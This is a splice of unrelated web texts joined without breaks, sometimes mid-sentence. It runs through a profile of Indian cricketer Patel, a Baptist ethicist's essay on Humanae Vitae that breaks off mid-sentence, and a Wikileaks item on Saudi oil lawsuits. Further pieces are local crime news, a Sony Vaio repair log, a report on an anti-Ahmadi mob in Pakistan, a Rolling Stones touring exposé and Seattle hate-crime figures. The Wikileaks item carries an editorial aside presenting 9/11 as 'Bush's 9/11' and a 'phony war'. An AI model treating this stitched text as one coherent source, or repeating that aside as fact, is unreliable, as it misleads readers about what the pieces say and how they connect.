Patel started to learn the ways of the world at MRF. “I lived there for five-six months. I learnt how to wear good clothes, how to speak, kuch bhi nahi aata tha. Dennis Lillee (Australia’s legendary fast bowler who coached at MRF) would say something and I used to look at someone else’s face! Kya bol raha hai? Lillee Sir always used to laugh, and ask someone to translate.”
Around this time, Australian cricketer Steve Waugh dropped by the academy, saw Patel in action and was impressed. He told as much to Tendulkar, who convinced Patel to join the Mumbai Ranji team. “I learnt a lot about cricket but not its lifestyle,” he says. The Mumbai cricketers would invite him to parties but Patel wasn’t ready. Only later, on a foreign tour, did he go to a club. “I thought I had to drink if I go there. Only after Gautam Gambhir (Patel’s closest cricketing friend) told me that there is no need to drink, and that even he doesn’t drink, did I go. I still don’t drink to this day.”
Patel with friends in his village, no one with a request is turned away from his house
Early on in his life, Patel had learnt to live with an unshakeable sense of right. Principled, unwilling to bend, quick on temper and willing to take seemingly rash decisions. Like in South Africa in 2009, when he shut the door on his captain Shane Warne and threatened to quit. Piqued at not being given any over in an IPL game, which the Rajasthan Royals eventually lost, he stormed to his hotel room and asked team owner Manoj Badale for his passport back. Soon, a knock on the door. Patel peeped through the eyehole to see Warne. “Please open the door”. ‘Shane Sir, I won’t’. “Let me explain.” “I don’t want to hear a thing. Bye.” Of course, he had admiration for Warne’s captaincy. “He was magic. He had the ability to get the best performances from everyone.”
Always frank, he once fobbed off a national selector because of perceived mockery. A day before a game after he was already selected, the selector asked him, “Are you fit?” Patel lost it. “How did you select me then? Tu khila raha hai toh cricket hi nahi khelna mujhe (If you think you are a doing a favour to me by selecting, then I don’t want to play).” The selector disappeared into the lift. “Tu yeda hai kya?” (Are you mad?) said Wasim Jaffer, who was with him then.
Patel was a man often criticised, at times even for his sartorial choices. A furore broke once about him not tucking in his shirt on the field with former players criticizing him on air. The dressing room too reflected the difference in personalities. Rahul Dravid, the captain, suggested he tuck in his shirt to end the controversy. “Voh ekdum sincere, padhe-likhe type (educated man) “ On the other side, Sehwag, Harbhajan, Yuvraj said, ‘Chodna yaar, hum bhi tuck in nahin karenge kal sey! ( We also won’t tuck our shirts in)’. I was not doing it on purpose. I hadn’t come from a school where kids wear white shoes, and tuck in their shirts!”
It set him off from the others, the straight talk, the no-nonsense attitude that anchored his feet to the ground. It would make him tick off young boys who would let fame get to their head— “Stop acting silly. Cricket hai bhai, anything can happen. Ek injury and sab khatam, finish. Then what will you do?” And it allowed him to look at the transformation of diffident young boys into celebrities with detachment. “See it’s the atmosphere you grow up. If you live in a city, are well-off, and more importantly, play for the country, your group will change. Where is an ordinary man, a poor man, going to be in that group?”
Here, in Ikhar, away from the adrenaline rush of victory and fame, the bright lights of the city and its lures, he knows that playing for India is many worlds away. “After the 2011 World Cup, I was injured for five-six months and by then, the selection approach had changed. They wanted to look beyond me and Nehra and give youngsters a chance. Which is fine. I will probably play for Baroda for two more years. Let’s see how long the body holds,” he says. But he also knows he is free of the favours and the ehsaan that has powered his run. “Bahut logon ka ehsaan mujh pey chada. I used to wonder how I shall pay them back. In between I thought I will even quit. Jitne logon ka ehsaan chadta hai, aap utne neeche jaate ho (The more you people oblige you, the lower you slip).”
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He has found a way now. The Patels never turn away a man who comes to their house, looking for help. It could be a request for Rs 50,000 for a wedding or money for hospital expenses. People come in, ask for the keys and take his cars for a ride. His father encourages him to do more. “If I ask any question to anyone who comes to home, my father will say, ‘Why are you asking questions? That won’t feed him. Just give him the money’.” The village has a trust which helps people in need. “We all know each other in the village. People always take care of each other.” And that’s why Patel doesn’t see himself leaving Ikhar. “Shaanti hai idhar, peaceful. Why will I go anywhere else?”Protestants are not known for their familiarity with papal encyclicals. We pride ourselves in doing things our own way, often in order to distance ourselves as far from Rome as possible. There is one teaching in particular that most Protestants readily recognize as Catholic, and it is usually received with derision: the prohibition of artificial means of birth control. The Protestants in my circles often disparage this teaching with little knowledge of Humanae Vitae, perhaps the most significant document to address birth control over the last one hundred years. As 2018 marks the fiftieth anniversary of Pope Paul VI’s encyclical, Protestants should reconsider the implications of this document.
I teach ethics at a Southern Baptist seminary in Texas where one of our core ethics courses is “The Christian Home.” I cover a number of issues concerning marriage and family, but the one that receives the greatest response is my lecture on sexuality and reproductive technologies. I treat the biblical understanding of sex and sexuality, assisted reproductive technologies, and birth control. The class concludes with a discussion about hormonal birth control, particularly, “the pill.”
Coming in the closing weeks of the semester, the lecture has a deep impact that often becomes evident midway through the next term. I’ll have a student—or sometimes several—stop by my office and let me know that his wife is expecting a child. In our seminary culture, this is not so unusual except for the fact that the announcement is preceded by an explanation that he had gone home to his wife after my lecture on sex, and they had talked about their use of birth control. That led them to stop using the pill. Given the natural order of things, some months later he sits in my office telling me that his wife is expecting. These students are usually overjoyed, a little nervous, and sometimes overwhelmed. I congratulate them, pray for them, and assure them that God will provide.
Many of my students have never been confronted with a view of birth control other than the typical Protestant position of acceptance. Our students reject abortion and “emergency contraceptives” but don’t worry about the morality of the pill and other methods. They hold this position because their churches do. Beginning with the Lambeth Conference in 1930 and concluding with the wholesale embrace of the pill in the decade or so that followed its release, most Protestants moved away from agreement with the Catholic Church on this moral issue and never looked back. Among Southern Baptists, the drift from renunciation to acceptance of birth control had a clear trajectory. The 1934 “Resolution on Birth Control” urges Congress to reject pending legislation because its purpose
is to make possible and provide for the dissemination of information concerning contraceptives and birth control; whatever the intent and motive of such a proposal we cannot but believe that such legislation would be vicious in character and would prove seriously detrimental to the morals of our nation.
Some forty years later, the Southern Baptist Convention took up the issue of birth control again, issuing a series of resolutions that opposed only contraceptives distributed to minors at school without parental consent. One resolution reads, “We oppose the distribution of birth control devices to minors except with parental or guardian consent.” Other Protestant denominations (United Methodist Church, Assemblies of God, Presbyterian Church USA, Evangelical Lutheran Church in America) also came to support contraception for various reasons, including family planning and disease prevention. They did so with little theological reflection. If Protestants had been interested in doing so, they would have had to interact with Paul VI’s substantive critique of birth control in Humanae Vitae.
The key idea in Humanae Vitae is the connection between marriage and procreation. In the opening line of the encyclical, Paul VI writes, “The transmission of human life is a most serious role in which married people collaborate freely and responsibly with God the Creator.” As Paul VI notes, two of the purposes of sexual intercourse are unity and procreation, and the introduction of birth control often separates those purposes from each other. This is not a healthy state of affairs for couples and society.
Paul VI offered some predictions regarding the future of sexuality in such a world. “Let them first consider how easily this course of action could open wide the way for marital infidelity and a general lowering of moral standards.” On the cusp of the sexual revolution, he could not have known the full extent of the lowering of moral standards that was to come. No longer are people concerned about out-of-wedlock birth, because the most serious consequence of sexual immorality can be bypassed with the use of a pill, a patch, or another form of birth control. At the same time, straightforward methods of contraception haven’t significantly dimished the percentage of births to unwed mothers, which now stands at more than 40 percent of all births in the United States—a sharp increase from 1940, when that number was less than 5 percent. This can be explained in part by increased rates of cohabitation where couples intentionally choose to have children without getting married. Despite the availability of birth control, as people more readily engage in sexual intercourse outside the context of marriage, the percentage of births to unwed mothers remains high.
When procreation and unity are detached, the spiritual meaning of procreation within the context of marriage withers. The opening chapters of Scripture underscore the clear connection of procreation and marriage that contraception undoes. After creating mankind, God gave instructions to the first man and woman: “Be fruitful and multiply, and fill the earth” (Gen. 1:28). Foreshadowing the inauguration of the first marriage in Genesis 2, this command gives us our first glimpse of the context for procreation. In Genesis 2:24, we read, “For this reason a man shall leave his father and his mother, and be joined to his wife; and they shall become one flesh.” Part of the one-flesh union is the sexual relationship that was designed to fulfill the command to be fruitful and multiply. Birth control interrupts the procreative potential of male-female union and thus runs counter to the one-flesh formula. The logic may be counterintuitive, but the deliberate intention to render marital union infertile, through artificial means of birth control, leads to a diminished understanding of the purposes of sex. Sex is now understood to be primarily about pleasure. Procreation is something else. It is sex without contraception, no more joyful and meaningful than sex with contraception. Intercourse doesn’t need the context of marriage anymore. And marriage need no longer be directed toward the rearing of the next generation. Are we surprised that a contraceptive culture is also one in which marriage declines?
For many Protestants, acceptance of contraception has created unintended consequences—cohabitation and a growing acceptance of same-sex marriage. According to the Barna Group, 41 percent of practicing Christians believe that cohabitation is a good idea. While this number is less than half the rate of those who hold the same view and have no faith, the number has increased significantly over time. Nearly two-thirds of all women in the United States have been in a cohabiting relationship. The normalization of contraception in marriage has fostered the belief that contraceptive sex in marriage is no different than contraceptive sex in a cohabiting relationship. In both relationships, the main consequence to be avoided is the conception of a child. There are certainly many Protestants who hold to the idea of chastity inside and outside the context of marriage. But this stems from a lingering historic connection between marriage and childrearing. Contraceptive sex undermines it. The separation of marriage and procreation opens the door for Protestant acceptance of cohabitation.
We have also seen significant change in the acceptance of same-sex marriage. The Pew Research Center reports that 68 percent of white mainline Protestants, 44 percent of black Protestants, and 35 percent of white evangelicals now support same-sex marriage. These numbers have risen substantially over the last decade. There is no doubt that those large numbers include a portion of Protestants who have separated the procreative and unitive functions of marriage through the use of artificial means of birth control and subsequently lost sight of God’s design for marriage. As Mary Eberstadt suggests in Adam and Eve after the Pill, the acceptance of contraceptive sex leads to the acceptance of homosexual behavior:
By giving benediction in 1930 to its married heterosexual members purposely seeking sterile sex, the Anglican church lost, bit by bit, any authority to tell its other members—married or unmarried, homosexual or heterosexual—not to do the same.
The natural law argument that sex should be reserved for marriage because marriage is the best context in which to rear children loses its force when contraceptive sex is the norm. Same-sex marriages cannot be procreative by any natural means, but many Protestants no longer see this as a convincing argument against same-sex marriage because their own marriages are not procreative. Having separated sexual union from procreation, Protestants find themselves following the larger culture in matters of marriage and family.
Paul VI also foresaw the objectification of women.
Another effect that gives cause for alarm is that a man who grows accustomed to the use of contraceptive methods may forget the reverence due a woman, and, disregarding her physical and emotional equilibrium, reduce her to being a mere instrument for the satisfaction of his own desires, no longer considering her as his partner whom he should surround with care and affection.
Once a man no longer thinks about the full implications sex has for a woman, he comes to view her as a means for satisfying his sexual impulses. Women become objects of desire in the eyes of |
Wikileaks - Saudi asked US to stop oil lawsuits 13 Feb 2011 According to US diplomatic cables seen by Wikileaks, Saudi Arabia in 2007 threatened to pull out of a Texas oil refinery investment unless the US government intervened to stop Saudi Aramco from being sued in US courts for alleged oil price fixing. Prince Abdulaziz bin Salman Al Saud, deputy Saudi oil minister, said that he wanted the US to grant Saudi Arabia sovereign immunity from lawsuits by ordering a Department of Justice statement of interest on its behalf. The cable said that Prince Abdulaziz told us that King Abdullah specifically had raised the lawsuit issue with Vice President [sic] Mr Cheney during his May visit and that the Saudi government would judge the administration's willingness to file an SOI as a test of good faith. [Sounds reasonable. After all, Saudi Arabia provided the key players for Bush's 9/11 - no 9/11, no phony war on (their own) terror. --LRP]× Police arrest suspect for assaulting Metro bus driver
ST. LOUIS, MO (KTVI) – Investigators released a picture of the suspect in the attack of a metro bus driver in Maplewood Wednesday. Now they have a suspect in custody.
Police have arrested Uriyah Reed, 31, in connection with the assault. He is being charged with assault 2nd degree and property damage 1st degree. Both crimes are felonies.
Police say the driver was on his route when at least one man, or possibly two got on the bus. Witnesses say the men demanded the driver hand over bus transfers.
When he refused he was attacked and beaten before the vehicle crashed into a bus stop. Investigators say he punched the Metro bus driver in the head and the body. This caused a subconjunctival hemorrhage, a zygomatic arch fracture, and a laceration on the upper lip requiring stitches.
The accident caused an estimated $750 in damage to a bus shelter.Every angler has a cracking fishing tale, but one Perth fisherman has probably the greatest yarn of all time after reeling in a gun from the Swan River on Friday.
Khao Nguyen was fishing under the Narrows Bridge in South Perth, when he jagged something on his line.
A Perth fisherman got a surprise when he caught a gun in the Swan River. Credit:Seven News Perth
"I was hoping to catch something and to my surprise I caught a gun. Normally you don't expect to catch something like that," he told Seven News Perth.
"I cast out halfway through the channel and I start to reel it in slowly, and that's when I hooked the gun, but I didn't know it was a gun, I thought it was a fish."BACK to Sony VAIO PCV-RX540 User's Log... Whatever became of the country Vaio and the city Vaio bought as xmas gifts in 2001? Wow: it's been years since an update on these two machines! One of them is still somehow humming along under Windows XP in Knoxville Tennessee-- although I'm pretty sure the fairly computer savvy man of the house there has been woefully negligent in terms of maintenance and upgrades. His wife and kids have somehow had to keep it running all these years on their own-- with very little help from me. But I think they're mainly using it as a web surfing station. The other Sony got a much more rigorous workout from the other family, as a surfing and gaming station. They even installed a fairly powerful graphics card to help its gaming performance. But they never upgraded its RAM. This second Sony PC got its Windows XP repeatedly restored due to malware problems. Its DVD- ROM drive apparently stopped working (opening/ejecting) at some point. The 17 inch CRT monitor I'd bundled with it quit (and I loaned them a 15 incher for a replacement). But eventually the PC BIOS began warning upon startup about failure of the hard drive being imminent. Besides all that, the PC had to have gotten awfully slow running XP over the years. So when a friend gave my nephew a newer Sony Vaio (discarded because the friend got a new PC), the family switched from the Vaio I'd given them in 2001, to that newer one from the friend. I finally managed to get them to bring the old decrepit Vaio to me over Thanksgiving 2009, after it'd likely been stuffed into a corner or closet for many months (maybe even a year or two). Thankfully they still had all the recovery disks too-- albeit some of them possibly too badly scarred to work. Salvage and rejuvenation Man, was this Vaio in sorry shape when I took delivery of it! I had to scrounge up another 17 inch monitor just to boot it up for examination, whereupon I learned many of the things listed above. After that I did some online research about the various old PCs and Macs I have laying around, and compared them to the specs of the Vaio, for which I've downloaded several Sony manuals in PDF form. I found some possible hardware donor candidates, and began my surgery. We can rebuild him...we have the technology...[cue bionic man theme music] I removed the 30 GB hard drive from my old HP which I quit using due to overheating of the crowded mini-tower, and replaced the Vaio's dying 60 GB with it-- making sure that all the drive's jumper settings in the rear of the unit were set identically to the original Vaio drive (there's a master/slave thing about multiple IDE drives you must be conscious of). During drive replacement I also used a small air compressor to blow out the worst cloud of dust and lint and muck from the Vaio that I've ever seen emerge from a computer's innards in my life. I don't see how in the hell the computer could run with that inside it. The cloud filled the small room I was working in, and I had to temporarily evacuate to breathe. I noticed the added graphics card wasn't locked down with one of its latches, and remedied that, which seemed to fix a worrisome video wave I'd noticed earlier from the machine. I had a DVD-RW removed from a Mac G4 sitting around too, so replaced the Vaio's non-functioning DVD-ROM with it as well (again, checking that the jumpers were set the same). I accidentally pulled the hard drive ribbon cable loose from the motherboard during the DVD install, which made the Vaio think the hard drive was dead, and had to go back in and rectify the situation afterwards. Note that while the Sony manuals offer pretty good instructions for most of these matters, they offer very, very little useful info about switching out the DVD or CD drives, which requires some NOT very intuitive removal and replacement of the front case bezels. Basically you got to remove the top and side of the case, then lift out the hard drive cage, to get at some front bezel clip hooks inside the case, to get the bezels free. Otherwise you break and ruin lots of stuff that makes the Vaio look so good sitting on a desk. And putting the bezels back again afterwards is almost certainly going to leave you cursing the designer. For this part is definitely not as easy as you'd expect. I ended up having to backtrack quite a ways in my reassembly to get the top and bottom bezels properly installed. They have to almost both go back on simultaneously-- and yet interfere with each other in the process. Once you have the bezels off, you only need disconnect the cables and remove two screws from the side of the DVD drive for it to slide out the front. It took me a while to come to this realization, as I was sure there had to be at least two more screws on the other, inaccessible side which needed removing too. But there aren't. You do have to take care about losing the screws inside the drive cage, as access to them is through two small holes in the (fixed in place) cage. Note that I might should have installed a DVD ROM like the Vaio originally came with here, instead of the DVD-RW. Because writing DVDs would likely be more reliable on a newer, faster machine with more RAM than the Vaio. So I may yet switch out this drive again for a more optimal computing arrangement here at WebFLUX Central. I did several reassemblies/boot ups during these chores to check on my progress and verify the new parts were working. After I'd replaced the hard drive, I temporarily re-installed Windows XP from the recovery disks to get a clearer picture of the Vaio's status. Add a pinch of new memory...and a whole new operating system... So far, so good. I ordered 256 MB RAM for the Vaio. Added to its original 256, this would boost it up to its absolute maximum possible: 512 MB. This was also the minimum recommended for an Ubuntu 9.10 Linux install. I wanted to go Ubuntu because the Vaio was too old and slow to comfortably run the bloated and resource hungry latest version of Windows XP. Add atop that the also demanding anti-malware apps necessary on a Windows PC, and the Vaio would be nearly useless for doing much of anything as an XP machine. I booted with the Ubuntu CD in the CD drive, and took the tour test. Everything seemed pretty good, with the added graphics card making for a very high res display. So I went the next step and installed Ubuntu. This took quite a while on the old Vaio. Maybe an hour or two later I was inspecting the results. And adding things like Ubuntu restricted extras, which you need for full internet compatibility with flash games and audio and video. Flash and video kinks... As one of the biggest duties of the reborn Vaio will be to entertain kids from age 10 through 22 here (yeah, I'm so old now you're still a kid to me at 22), I wanted it to be able to stream video and run flash games online. My first test results for this were pretty awful, and I thought uh oh, this isn't going to work. However, with a little more research online I realized I might be able to lessen the workload on the graphics card to make up for the slow CPU and restricted RAM. So I turned off Ubuntu's desktop effects, and took the onscreen resolution down two notches, to 1024 x 768, the minimum recommended for Ubuntu. (By default Ubuntu had noticed the graphics card at installation and turned on desktop effects, and dialed up the screen resolution pretty high)...nicely ironed out These reduced settings did the trick, and flash gaming and online video now worked much better. Even slightly better than the 800 Mhz faster 512 MB Ubuntu Compaq. However, even at these settings the old Vaio is NOT up to doing full-screen video any better than something approaching a slide show presentation. All in all though, the Vaio now seems to be a pretty decent $30 web surfing station (I paid around that for the new memory: everything else came from old/junk parts, elbow grease, and online research). BACK to Sony VAIO PCV-RX540 User's Log... a - j m o o n e y h a m. c o m - o r i g i n a lA mob killed a seven-year-old and her baby sister along with their grandmother, a member of the Ahmadi sect, after another follower was accused of posting blasphemous material on Facebook, police in Pakistan said.
The dead were part of a religious sect, who consider themselves Muslim but believe in a prophet after Mohammed. A 1984 Pakistani law declared them non-Muslims and many Pakistanis consider them heretics.
The incident is the latest instance of growing violence against minorities in Pakistan.
Police said the violence late on Sunday in the town of Gujranwala, 220 km (140 miles) southeast of the capital, Islamabad, started with an altercation between young men, one of whom was an Ahmadi accused of posting "objectionable material".
"Later, a crowd of 150 people came to the police station demanding the registration of a blasphemy case against the accused," said one police officer who declined to be identified.
"As police were negotiating with the crowd, another mob attacked and started burning the houses of Ahmadis."
The youth accused of making the Facebook post had not been injured, he said.
According to AP, police official Zeeshan Siddiqi said the rioting in the city of Gujranwala erupted after claims an Ahmadi had posted a blasphemous photo of the Kaaba - the cube-shaped structure in the Grand Mosque in Mecca, Saudi Arabia, that observant Muslims around the world face in prayer five times a day.
The photo allegedly contained nudity.
Mr Siddiqi said the victims died of suffocation and that another woman miscarried during the riots and was in hospital.
Under Pakistani law, Ahmadis are banned from using Muslim greetings, saying Muslim prayers or referring to his/her place of worship as a mosque.
(EPA)
Salim ud Din, a spokesman for the Ahmadi community, said it was the worst attack on the community since simultaneous attacks on Ahmadi places of worship killed 86 Ahmadis four years ago.
"Police were there but just watching the burning. They didn't do anything to stop the mob," he said. "First they looted their homes and shops and then they burnt the homes."
The police officer said they had tried to stop the mob.
Accusations of blasphemy are rocketing in Pakistan, from one in 2011 to at least 68 last year, according to the Human Rights Commission of Pakistan.
About 100 people have been accused of blasphemy this year.
Edited by Raziye AkkocWith a collective age of almost 300 — and a staggering 55 years since their first stage performance — the Rolling Stones have just announced a European tour for later this year.
Initially, they are to play 13 shows in 12 different venues, beginning in Hamburg on September 9 and also visiting Barcelona, Paris and Amsterdam, with a possible warm-up gig in the UK being mooted on fan sites.
The question is, why do they still feel the need to work? Mick Jagger, 73, has personal wealth of £285 million. Keith Richards, also 73, has £260 million.
Drummer Charlie Watts, who celebrates his 76th birthday today, is worth £130 million, and Ronnie Wood, whose 70th birthday was yesterday has £72 million.
Guitarist Ronnie Wood and singer Mick Jagger of the Rolling Stones performing on stage at Knebworth in 1976
The secret of their indefatigable appetite for putting on grandiose and spectacular events, apparently, can be simply summed up by their touring team. One insider says: ‘Mick likes to make money, and Keith likes to play.’ Another roadie adds: ‘Charlie is relaxed and is happy to go with the flow and Ronnie is always insisting that he’s really broke.’
But the story of their life on the road over more than half a century is a hair-raising tale of drug-taking, sexual debauchery, violence and bitter feuding — not to mention a steady supply of HP Sauce and PG Tips tea bags. Here we present the inside story of what the biggest band in the world get up to on the road.
NAKED DANCERS
The American tour of 1972 was the most debauched of all — a marathon of sexual and narcotic indulgence. An album of their live performances from this tour is released later this month.
Richards said in an interview that they would book a whole floor of a hotel to ensure privacy for them and their entourage.
‘We had become a pirate nation, moving on a huge scale under our own flag with lawyers, clowns, attendants,’ he recalled.
One medical professional known as ‘Dr Bill’ was Jagger’s personal attendant on the tour, and kept them all supplied with prescription pills in return for enjoying favours from groupies.
Mick Jagger pictured along with Jerry Hall (centre) and Marie Helvin after a Wembley gig in 1982
Girls would dance naked in high heels all night in hotel suites. In Chicago, staying at Hugh Hefner’s Playboy Mansion in the city, Keith Richards and the late saxophonist Bobby Keys accidentally set fire to a bathroom while getting high.
Robert Greenfield of Rolling Stone magazine was there and said every kind of drug was available including a 4ft-long line of cocaine which was laid out on a mirror and consumed in minutes.
Avant-garde film-maker Robert Frank made a documentary about the tour at the band’s invitation.
The film has been essentially suppressed by the Stones — it may now only be shown a limited number of times a year and Frank has to be present.
What’s in it? Footage of a beautiful young groupie taking heroin as Richards watches. Keith Richards ‘nodding out’ due to heroin use. Jagger snorting a pile of cocaine off a switchblade and also filming himself in a mirror and indulging in a sex act.
'BROKE' MIKE MOANED TO HIS TEAM OF ACCOUNTANTS The Stones toured almost constantly in the Sixties and Seventies because — unlike these days — the gigs did not make their fortune and they often complained that they were all broke. Thanks to the manoeuvres of manager Allen Klein, whom they sacked in 1970, they did not even own the publishing rights to all their big hits, from Brown Sugar to Satisfaction. Jagger estimated once that they made perhaps £2,700 each from a tour, playing 10,000 seat arenas and charging £4.50 a ticket. It had to change. A journalist who joined the band on a 1975 tour of America said that Jagger — by then a tax exile — would pass the time watching the Wimbledon tennis on television and talking on the phone with his lawyers and accountants, always keeping an eye on how the pound was doing against the dollar. Mick complained: ‘They tell me I’ll make a million dollars out of this gig but you know I’ll see $10,000 by the end of it. ‘It’s always like that — you’re lucky if you walk away with a new white suit.’
SCREAMING TEENS
In the early years, from 1964 and their first chart success, to around 1966 things were very different.
The band’s repertoire consisted in part of covers of hits by their blues heroes and Brian Jones (who died in 1969) observed: ‘Basically we just play bad Chuck Berry.’
Keith Richards said: ‘There was a two-year period when the audience were louder than us, all screaming teenyboppers.
‘Brian Jones had this terrible joke of playing Popeye The Sailor Man in the middle of everything because it didn’t matter, no one could hear anything anyway.
‘For Charlie Watts I think that was the most frustrating time. He was a serious musician, a jazz drummer and all of a sudden he’s playing to a load of 13-year-old girls wetting themselves and he’s wondering, “What happened to the Blues?” ’
KNEBWORTH JINX
The Stones’ concert at Knebworth, Hertfordshire, in 1976 was far from their best.
After having observed the state of Keith Richards, who had overdone the narcotics, the roadies deliberately cut through the wires to the speaker system, causing a 90-minute delay which they hoped would be enough to get Keith back into shape. ‘Great, ‘cos I could have a kip,’ he said later.
Keith Richards pictured in 1984. Now aged 73, the guitarist is worth an estimated £270million
When he finally tottered on stage, he struck a magnificent initial wrong chord.
And on the way back home down the M1 he drove his Bentley into the central reservation and then it bounced off the road and into a tree. He had fallen asleep — possibly because of his habit of taking a small snort of heroin at the wheel.
His son Marlon, then aged seven, was in the back.
‘Until five or six years ago there was still my bloody handprint on the back seat,’ Marlon said. ‘And the dashboard still had the dent where my nose hit it.’
Richards was arrested afterwards when police found drugs in his jacket. He mused: ‘I’m a good driver. I mean, nobody’s perfect. At least we didn’t hit anybody.’
THE MONEY-SPINNERS
The Stones 1981 tour of America changed everything. Jagger was determined to prove that, despite the advent of punk, they were not has-beens.
KEITH: DON'T BUST MY CRUST! In Toronto in 1989 the Steel Wheels tour was momentarily delayed in a row over shepherd’s pie. Keith Richards threw a tantrum when he found that someone had sampled a dish cooked for him by the catering staff — and refused to go on stage until another one was made. Mick Jagger was apparently furious. Keith remarked unrepentantly: ‘It’s now famous, my rule on the road. Nobody touches the shepherd’s pie till I’ve been in there. Don’t bust my crust baby.’
And Keith Richards, having split from Anita Pallenberg, who had a heroin habit of her own, was clean of that drug. The New York Times hailed the marathon tour as the most profitable in rock history although exact figures are a closely guarded secret. Stones sources indicate that they made more money in that tour alone than they had in their entire careers up to that point. That’s not to say it was entirely professional. One night Keith and Ronnie went out drinking and only turned up at the venue at 9 pm while the support act were playing. Keith went straight on stage, saw that the band playing were not the Stones, and came off again.
BIGGER BANGS
For a while it looked as if the 1981 tour might be the end of the band. There was a long hiatus until 1989 with no touring as Keith and Mick, who were at war for various reasons, worked on solo projects.
However, the Steel Wheels/Urban Jungle tour of 1989 was even bigger and more successful.
It consisted of a mammoth 116 shows seen by six million fans. Four shows in Los Angeles generated £7 million alone.
Then came the Voodoo Lounge tour in 1994-5 which grossed a record £247 million.
Keith Richards of The Rolling Stones is mobbed by fans at London Airport on his way to fly to New York
It was followed by the Bridges To Babylon tour in 1997 which featured a cantilevered bridge and massive circular screen. All previous receipts were topped by the Bigger Bang world tour which started in 2005 and finally finished in 2007. It took £430 million, which worked out at more than a million dollars per day.
Since then there has been the smaller scale 50 And Counting tour which included a gig at Glastonbury in 2013. One five-night stint on that tour apparently netted a staggering £20 million.
Then came 14 On Fire, which began in Australia but was postponed after the suicide of Mick’s girlfriend L’Wren Scott. Last year the band toured in South and Central America, and included a gig in Cuba, which was filmed.
BATTLE OVER TAX BILL
In 2007, it was revealed that since 1987 the band had only paid £5.5 million in tax on £347 million of earnings, after channelling everything through tax-friendly Amsterdam and the Caribbean at the suggestion of financial adviser Prince Rupert Loewenstein.
‘BROTHERS’ AT WAR
Mick Jagger and Keith Richards met at primary school in the early Fifties and reconnected in 1960 after a chance meeting at Dartford train station. But they fell out at the end of the Seventies and are only barely on civil terms. Richards admitted a few years ago that Mick had not been in his dressing room in 20 years.
Mick Jagger takes a swig of bourbon backstage during the Rolling Stones' 1975 Tour of the Americas
Their PR man described a ‘close as brothers bond that had now been severed to leave only a business relationship.’ Why? Keith explained: ‘I started going my way, which was the downhill road to dopesville, and Mick ascended to jet land. I was living in a different world from him. His jet-setting got up my nose.’
By the time Keith got clean, he found that all decisions were being made by Mick. Asked: ‘When is the bitching going to end between you and Mick?’ he replied: ‘Better ask the bitch.’
And despite being reunited for mega tours, the animosity remained. Richards reacted with ‘cold rage’ over Jagger accepting a knighthood in 2002.
In 2010, he gloated about having sex with Mick Jagger’s girlfriend Marianne Faithfull in his autobiography, and commented on his bandmate’s ‘tiny todger’.
He had to offer a public apology before they were able to be in the same room again.
Richards said though that the sexual infidelities were ‘no big deal’. He said: ‘We had a very aristocratic way of looking at it.
‘Usually these things were one offs. It was kind of like that in those days.’
He added: ‘We’ve had our beefs but who doesn’t? You try and keep something together for 50 years.’
Nowadays, though, life on the road has to be endured without chemical stimulants: since 1981 Jagger has made all performers sign a ‘no pre-show doping’ contract. They also have to pass a stringent medical demanded by insurers.
BACKSTAGE TRIBES
Every member of the Stones travels with their own entourage, has their own rooms on their own floor of a hotel, their own chauffeur, their own fitness team, medical staff and so on.
The touring payroll sometimes tops 230 people — all in support of four Stones!
COKE ON THE AMPS During concerts in the late Sixties and throughout the Seventies, lines of cocaine and heroin would be left on top of the amplifiers on stage, waiting to be snorted during pauses between the songs. The heroin was for Ronnie Wood and Keith Richards only, while the cocaine was for anyone else who wanted it. Ronnie and Keith — an inseparable force — also smoked heroin-laced cigarettes on stage.
Mick sometimes travels with oldest daughter Lizzie these days — she is 33. The others bring their wives.
Former manager Nick Cowan recalls that Ronnie Wood’s after-show parties were always the wildest — with Keith Richards only allowing people he had personally invited to come up to his suite.
He said: ‘Keith will spend the night listening to music with a few friends. His suite is not accessible unless an invitation has been issued. When it is, it has the force of a royal command.
‘Ronnie’s suite is known as party central. All night, every night, the door is open to anyone who wants to drink and more.
In every city Ronnie’s party friends come out of the woodwork. ‘Mick and Charlie, who enjoy their sleep, have suites as far away as possible from Keith and Ronnie.’
He also revealed that the band demanded a steady supply of HP Sauce and PG Tips tea bags wherever they were in the world.
MOVES LIKE JAGGER
Mick runs up to 12 miles during the average stadium show and warms up vocally beforehand by singing karaoke.
STRUCK BY TRAGEDY
Jagger’s girlfriend L’Wren Scott killed herself on March 17, 2014, just as the Stones were preparing for the Australasian leg of their tour.
The tour was postponed until the end of the year.
Ron Wood, Mick Jagger, and Keith Richards are set to tour the world once again, 55 years after they first started
A lawsuit followed as the band’s insurers declined to pay out the £8 million claimed by the band.
They said that her suicide was ‘not sudden and unforeseen’ because she could have been suffering from a pre-existing mental state.
They also disputed the assertion that Jagger was suffering from ‘acute traumatic stress disorder’, saying that he had not been examined by a psychiatrist. The case was settled out of court.Black and LGBT people are more than twice as likely as any other group to be targets of hate crimes in Seattle, data analysis shows.
The massacre at an Orlando, Fla., gay nightclub on June 12 wasn’t just the deadliest mass shooting in modern U.S. history — it was also the worst hate crime.
And while the magnitude of that attack was unprecedented, the choice of target — LGBT people — is sadly common.
Seattle is a famously accepting city, but we’re not immune.
In 2015, 72 hate crimes and incidents against LGBT people were reported to the Seattle Police Department — double the number from the previous year.
The number of such crimes against blacks — 67 — more than doubled.
There were a total of 208 hate crimes and incidents reported in 2015, up from 126 in 2014.
My analysis shows that, based on the size of their local populations, both black and LGBT people were more than twice as likely to be victims of a hate crime or incident in Seattle as any other group — and at least 50 times more likely to be targeted than whites.
In 2015, blacks were victims of hate crimes and incidents at a rate of 11.6 per 10,000 city residents. For the overall population, the rate was 3 per 10,000.
Marcus Green, executive director of the nonprofit news organization South Seattle Emerald, says he isn’t surprised by this data. “People in the black community have talked about this for years, that Seattle has this veneer as an all-inclusive, liberal bastion — but in reality, it’s a lot less welcoming to blacks and other communities of color. These statistics bear that out.”
While blacks are the most likely group to be victims of a hate crime in Seattle, this is not the case nationally. A New York Times analysis of 2014 FBI data found that LGBT people are the most likely targets of hate crimes in America — and twice as likely to be targets as black people are.
The rate that LGBT people in Seattle were victims of hate crimes and incidents was 10 per 10,000 in 2015.
According to Lt. Mike Kebba, who compiles bias-crime statistics for the SPD, a number of factors are weighed to determine if a crime is motivated by hate: the offender’s words and actions, evidence left at the scene, testimony of witnesses and the criminal history of the offender.
Kebba feels that the increase in Seattle’s hate-crime numbers could be due, at least in part, to efforts by the SPD to make sure victims report them when they do happen.
“We are very encouraging at community meetings and through outreach efforts,” he said. The SPD has liaisons to forge relationships with various communities in the city, and the department recently appointed a bias-crime coordinator who works full time on those investigations.
